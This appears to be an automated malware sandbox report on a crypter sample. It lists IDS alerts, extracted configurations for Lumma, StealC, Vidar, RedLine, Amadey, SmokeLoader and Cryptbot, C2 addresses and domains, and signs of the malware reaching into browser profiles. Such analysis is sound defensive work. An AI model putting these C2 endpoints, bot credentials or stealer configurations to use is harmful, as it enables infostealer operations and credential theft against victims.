2024-09-21T13:35:23.749169+0200	2028765	3	Unknown Traffic	192.168.2.9	49784	116.203.165.127	443	TCP
2024-09-21T13:35:25.594749+0200	2028765	3	Unknown Traffic	192.168.2.9	49785	116.203.165.127	443	TCP
2024-09-21T13:35:27.691624+0200	2028765	3	Unknown Traffic	192.168.2.9	49786	116.203.165.127	443	TCP
2024-09-21T13:35:30.369431+0200	2028765	3	Unknown Traffic	192.168.2.9	49788	116.203.165.127	443	TCP
2024-09-21T13:35:33.001805+0200	2028765	3	Unknown Traffic	192.168.2.9	49789	116.203.165.127	443	TCP
2024-09-21T13:35:37.141546+0200	2028765	3	Unknown Traffic	192.168.2.9	49791	116.203.165.127	443	TCP
2024-09-21T13:35:38.964489+0200	2028765	3	Unknown Traffic	192.168.2.9	49792	116.203.165.127	443	TCP
2024-09-21T13:35:46.021038+0200	2028765	3	Unknown Traffic	192.168.2.9	49798	116.203.165.127	443	TCP
2024-09-21T13:35:47.527790+0200	2028765	3	Unknown Traffic	192.168.2.9	49799	116.203.165.127	443	TCP
2024-09-21T13:35:48.974888+0200	2028765	3	Unknown Traffic	192.168.2.9	49800	116.203.165.127	443	TCP
2024-09-21T13:35:50.489687+0200	2028765	3	Unknown Traffic	192.168.2.9	49802	116.203.165.127	443	TCP
2024-09-21T13:35:52.154914+0200	2028765	3	Unknown Traffic	192.168.2.9	49804	116.203.165.127	443	TCP
2024-09-21T13:35:54.301685+0200	2028765	3	Unknown Traffic	192.168.2.9	49805	116.203.165.127	443	TCP
2024-09-21T13:35:55.279534+0200	2028765	3	Unknown Traffic	192.168.2.9	49806	116.203.165.127	443	TCP
2024-09-21T13:35:58.314238+0200	2028765	3	Unknown Traffic	192.168.2.9	49807	116.203.165.127	443	TCP
2024-09-21T13:35:59.020772+0200	2028765	3	Unknown Traffic	192.168.2.9	49808	116.203.165.127	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:48.299832+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49764	188.114.97.3	443	TCP
2024-09-21T13:35:23.079490+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:29.357540+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49787	104.21.88.61	443	TCP
2024-09-21T13:35:40.519909+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49793	172.67.204.62	443	TCP
2024-09-21T13:35:45.228535+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49797	172.67.204.62	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:23.079490+0200	2049836	1	A Network Trojan was detected	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:40.519909+0200	2049836	1	A Network Trojan was detected	192.168.2.9	49793	172.67.204.62	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:48.299832+0200	2049812	1	A Network Trojan was detected	192.168.2.9	49764	188.114.97.3	443	TCP
2024-09-21T13:35:29.357540+0200	2049812	1	A Network Trojan was detected	192.168.2.9	49787	104.21.88.61	443	TCP
2024-09-21T13:35:45.228535+0200	2049812	1	A Network Trojan was detected	192.168.2.9	49797	172.67.204.62	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (achievenmtynwjq .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:41.658171+0200	2056005	1	Domain Observed Used for C2 Detected	192.168.2.9	49760	188.114.97.3	443	TCP
2024-09-21T13:34:47.802912+0200	2056005	1	Domain Observed Used for C2 Detected	192.168.2.9	49764	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (chickerkuso .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:20.931758+0200	2056009	1	Domain Observed Used for C2 Detected	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:28.785398+0200	2056009	1	Domain Observed Used for C2 Detected	192.168.2.9	49787	104.21.88.61	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (questionmwq .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:40.351202+0200	2056023	1	Domain Observed Used for C2 Detected	192.168.2.9	49793	172.67.204.62	443	TCP
2024-09-21T13:35:44.757366+0200	2056023	1	Domain Observed Used for C2 Detected	192.168.2.9	49797	172.67.204.62	443	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:33:40.760164+0200	2018581	1	A Network Trojan was detected	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-21T13:33:41.108483+0200	2018581	1	A Network Trojan was detected	192.168.2.9	49710	103.130.147.211	80	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:40.759550+0200	2054495	1	A Network Trojan was detected	192.168.2.9	49794	45.132.206.251	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:13.833469+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49742	5.53.124.195	80	TCP
2024-09-21T13:34:28.167720+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49749	5.53.124.195	80	TCP
2024-09-21T13:34:37.403302+0200	2054350	1	A Network Trojan was detected	192.168.2.9	49756	5.53.124.195	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (achievenmtynwjq .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:41.171990+0200	2056004	1	Domain Observed Used for C2 Detected	192.168.2.9	55583	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chickerkuso .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:20.281769+0200	2056008	1	Domain Observed Used for C2 Detected	192.168.2.9	64268	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionmwq .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:39.856358+0200	2056022	1	Domain Observed Used for C2 Detected	192.168.2.9	64873	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:35:20.236859+0200	2055834	1	Domain Observed Used for C2 Detected	192.168.2.9	58290	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:14.798575+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.9	49741	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:14.554960+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49741	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:14.978359+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49741	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:15.867896+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49741	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:15.167363+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.9	49741	TCP
2024-09-21T13:34:50.072379+0200	2044247	1	Malware Command and Control Activity Detected	116.203.165.127	443	192.168.2.9	49765	TCP
2024-09-21T13:35:51.405870+0200	2044247	1	Malware Command and Control Activity Detected	116.203.165.127	443	192.168.2.9	49802	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:51.859301+0200	2051831	1	Malware Command and Control Activity Detected	116.203.165.127	443	192.168.2.9	49766	TCP
2024-09-21T13:35:52.869312+0200	2051831	1	Malware Command and Control Activity Detected	116.203.165.127	443	192.168.2.9	49804	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:47.643249+0200	2049087	1	A Network Trojan was detected	192.168.2.9	49763	116.203.165.127	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:14.150268+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49741	46.8.231.109	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:58.382517+0200	2856147	1	A Network Trojan was detected	192.168.2.9	49770	45.202.35.101	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:16.871917+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:22.869115+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:23.939753+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:25.046045+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:25.768287+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:27.746321+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:28.472441+0200	2803304	3	Unknown Traffic	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:33.715457+0200	2803304	3	Unknown Traffic	192.168.2.9	49754	162.241.61.218	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:33:41.108483+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-21T13:33:41.479262+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49712	176.113.115.33	80	TCP
2024-09-21T13:33:41.490300+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49709	147.45.44.104	80	TCP
2024-09-21T13:33:41.675629+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:41.819445+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49719	176.111.174.109	80	TCP
2024-09-21T13:33:42.362870+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:42.377935+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49727	162.241.61.218	443	TCP
2024-09-21T13:33:42.379864+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49726	162.241.61.218	443	TCP
2024-09-21T13:33:42.662417+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49723	185.166.143.50	443	TCP
2024-09-21T13:33:43.497247+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49730	162.241.61.218	443	TCP
2024-09-21T13:33:44.675675+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:45.044797+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49709	147.45.44.104	80	TCP
2024-09-21T13:33:45.120822+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:47.467722+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:35:34.885622+0200	2803270	2	Potentially Bad Traffic	192.168.2.9	49790	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "193.233.255.84:4284", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}
Source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "d80be45a1eb6454ca916f92c36ebf67d"}
Source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.5ca3f2.1.raw.unpack	Malware Configuration Extractor: Amadey {"C2 url": "45.202.35.101/pLQvfD4d/index.php", "Version": "4.42", "Install Folder": "9d94d7e7d6", "Install File": "Hkbsse.exe"}
Source: 17.2.hd4YBtMwCrxG4M3aLLza89vv.exe.41d5570.0.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["opponnentduei.shop", "carrtychaintnyw.shop", "puredoffustow.shop", "achievenmtynwjq.shop", "chickerkuso.shop", "metallygaricwo.shop", "quotamkdsdqo.shop", "milldymarskwom.shop", "sentistivowmi.shop"], "Build id": "a8kafm--@cloudcosmic"}
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe.5828.8.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["/v1/upload.phptventyvf20pt.top", "tventyvf20pt.top", "@tventyvf20pt.top", "analforeverlovyu.top", "entyvf20pt.top"]}

Multi AV Scanner detection for domain / URL

Source: nerv.com.pe

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EGCBAFCFIJ.exe	ReversingLabs: Detection: 79%
Source: C:\ProgramData\EGCBAFCFIJ.exe	Virustotal: Detection: 69%	Perma Link
Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	ReversingLabs: Detection: 54%
Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Virustotal: Detection: 64%	Perma Link
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	ReversingLabs: Detection: 42%
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Virustotal: Detection: 32%	Perma Link
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	ReversingLabs: Detection: 42%
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	Virustotal: Detection: 32%	Perma Link
Source: C:\Users\userAEBAKJDGHI.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userAEBAKJDGHI.exe	Virustotal: Detection: 41%	Perma Link
Source: C:\Users\userHJDBAFIECG.exe	ReversingLabs: Detection: 26%
Source: C:\Users\userHJDBAFIECG.exe	Virustotal: Detection: 39%	Perma Link
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Virustotal: Detection: 32%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe	Virustotal: Detection: 64%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe	Virustotal: Detection: 52%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe	Virustotal: Detection: 26%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	ReversingLabs: Detection: 71%
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Virustotal: Detection: 42%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: carrtychaintnyw.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: quotamkdsdqo.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: milldymarskwom.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: metallygaricwo.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: opponnentduei.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: puredoffustow.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: achievenmtynwjq.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: chickerkuso.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: sentistivowmi.shop
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: - Screen Resoluton:
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: Workgroup: -
Source: 18.3.iXbjjIcri3rG3XH6GK7dHSLO.exe.1addda60000.0.unpack	String decryptor: a8kafm--@cloudcosmic

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CBD0 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	3_2_0051CBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CE70 SetLastError,GetModuleHandleA,CryptGenRandom,	3_2_0051CE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051CD90 CryptReleaseContext,	3_2_0051CD90

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe

Unpacked PE file: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.unpack

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Nikko Video Compressor_is1

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.131.81:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.46:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.165.127:443 -> 192.168.2.9:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.165.127:443 -> 192.168.2.9:49798 version: TLS 1.2

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\day2_mixApp.pdbws\ source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.PDB"fal source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\a42sr32\win32_x86\release\pdb\UniverseDesigner\designer.pdb source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2391284217.0000000000525000.00000002.00000001.01000000.0000000B.sdmp, kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.0000000002420000.00000004.00001000.00020000.00000000.sdmp, kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000000.1788478700.0000000000525000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.00000000047AF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hSHxNXg.pdb source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2192250317.0000000005FD0000.00000004.08000000.00040000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.00000000047AF000.00000004.00000800.00020000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.0000000004631000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: HPJo8C:\Windows\day2_mixApp.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2113363514.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: day2_mixApp.pdb source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000002.2138573986.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000000.1787917500.00000000001B2000.00000002.00000001.01000000.0000000A.sdmp

Spreading

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6388, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00540905 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,

3_2_00540905

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cache2\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.9:49710 -> 103.130.147.211:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49742 -> 5.53.124.195:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49741 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49741 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.9:49741
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49741 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.9:49741
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49741 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2056004 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (achievenmtynwjq .shop) : 192.168.2.9:55583 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056005 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (achievenmtynwjq .shop in TLS SNI) : 192.168.2.9:49764 -> 188.114.97.3:443
